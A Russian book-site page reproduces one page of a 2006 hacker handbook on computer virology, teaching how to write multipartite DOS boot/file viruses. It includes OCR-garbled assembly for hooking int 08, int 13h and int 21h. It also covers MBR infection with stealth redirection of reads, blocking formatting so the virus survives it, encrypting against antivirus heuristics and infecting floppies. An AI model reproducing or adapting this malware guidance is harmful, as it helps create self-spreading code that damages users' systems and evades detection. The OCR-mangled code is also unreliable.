Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 79 80 81 82 83 84 < 85 > 86 87 88 89 90 91 .. 123 >> Следующая

другую часть: in_file:
Injile:
call gojesident jmp over_now
Go_resident здась мы имеем любой вид резидентного кеда,
.который оставлен в es нового вирусного сегмента, ret ;здесь происходит
перехват int 21
over_now:
push es ;здесь мы прыгаем к общей части lea ах, new segment ;in_file и in
boot push ах retf
Для файловой инфекции мы имеем обработчик int 21, который ловит
исполнительные файлы (любого вида), и процедуру
exit file, возвращающую контроль жертве.
Конечно, в режиме 'in file' нам нужно перехватить и int 13, потому что мы
хотим скрыть MBR. Плюс к этому неплохо было бы применить техники
туннелинга против авировских блокираторов TSR.
ГЛАВА 7. Многоцелевые вирусы
Далее, мы ждем полной загрузки системы и начинаем действовать. Например,
мы можем использовать int 08 - временное прерывание. Перехватываем его в
загрузочном секторе и устанавливаем счетчик. Примерно через 2 минуты
начинаем перехват прерываний. Int 08 вызывается каждые 55 ms (18.2 раза в
секунду). Для одной минуты значением сравнения будет 60*18.2 - 1092. Для
2 минут " 2184.
int 08 может выглядеть так:
int08:
pushf
call dword ptr cs:[oldint08] cmp word ptr cs:[time], 0 je start_to_hook
dec word ptr cs:[time] iret
timeequ2184
Это решает проблему перехвата int 21h из загрузочного сектора. Теперь
посмотрим на int 13h - пламенное сердце загрузочного инфектора.
Воспользуемся приемом сокрытия:
NEWINT13:
cmp ah, 02h .читаем?
je checkmore jmp no
check_more:
cmp dh, 0 ;головка 0?
jne no
cmp cx, 1 ;цилиндр 0, сектор 1?
jne no
pushf
call dword ptr cs:[oldint13] ;тогда производим чтение
call checkjnfect ;вызов подпрограммы, которая сохраняет все ;регистры и
проверяет, инфицирована
;ли MBR в es:bx. Если нет, инфицируем ее
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov сх, 01 h + sector Jen ;затем перенаправляем чтение или запись туда,
где находится оригинальная MBR и читаем ее снова! по:
jmp dword ptr cs:[oldint13]
Кроме того, мы можем проверить, пытается ли кто-то писать в MBR, и
перенаправить его (в основном, авира) к оригинальной MBR. Таким образом,
если кто-то попытается читать из MBR или писать в оригинальную MBR, наша
процедура перенаправит действие в то место, где хранится оригинальная
MBR. Что мы получили? Поскольку Таблицы разделов здесь больше ие имеется,
диск невидим при загрузке с дискеты. А если загрузка производится с
жесткого диска, вирус становится резидентом, и записи скрываются от глаз
авиров.
Существуют еще две функции, которые может использовать процедура
сокрытия:
OAh - читать длинные секторы OBh - записывать длинные секторы.
Они работают почти так же, как 02h и 03h. Разница в том, что OAh читает
один и более секторов, плюс 4 дополнительных байта, представляющих ЕСС
(Error Correction Code - код корректировки ошибок) для этого сектора. То
же самое происходит и в случае OBh. Не забывайте о функции 05h - формат
трека и не позволяйте форматировать треки, на которых размещены вирус и
оригинальная MBR. При использовании этой техники вирус сохранится на
жестком диске даже после его форматирования.
Другие способы
Мы можем сохранить любые данные на HDD, поместив их во второй FAT или
после директорией записи. Первый FAT можно найти и получить к нему доступ
с помощью int 25h/26h (при dx = 1). Второй FAT можно найти с помощью dx =
1 + Sectors/FAT. Через некоторое количество секторов, равное 1 +
2*Sectors/FAT, мы имеем запись корневой директории. Но я не советую вам
использовать эти две области хотя бы из-за того, что для инфекции вам
понадобятся прерывания 25h и 26h (деактивированные в Win9.x). Лучше всего
использовать для хранения данных гостеприимное пространство после MBR.

ГЛАВА 7. Многоцелевые вирусы
Однако авиры не дремлют. Сейчас разработаны неплохие MBR-эвристические
анализаторы. Если вы хотите сделать таблицу разделов "неудаляемой" и
оставить диск С: доступным при загрузке с дискеты, то вам нужно
позаботиться о хорошем алгоритме кодировки с применением
антиэвристических процедур. К счастью, против лома нет приема! Поэтому, в
случае файлов мы можем поступить следующим образом:
копировать вирус в конец кода закодировать его
копировать его в жертву (диск/файл).
Далее не мешает подумать о том, чтобы вирус заражал дискеты. Это важно
для распространения вируса. На дискетах не имеется таблиц разделов. Но
структура загрузочного диска та же самая. Чтобы сохранить оригинальный
загрузочный сектор, поступаем так:
читаем оригинальный boot в буфере; читаем "количество записей корневой
директории"; умножаем его на 32; делим результат на 512.
Так вы получаете первый свободный сектор после таблицы корневой
директории. Это идеальное место для сохранения оригинальной Boot в этом
секторе. Мы знаем, что когда вызывается int 13, регистр dl содержит
маркер диска (80h, если HDD). То есть вы можете сделать некоторые
сравнения и создать процедуру для инфицирования различных видов дискет.
Кроме того, вы можете выбрать другие области для копирования оригинальных
Предыдущая << 1 .. 79 80 81 82 83 84 < 85 > 86 87 88 89 90 91 .. 123 >> Следующая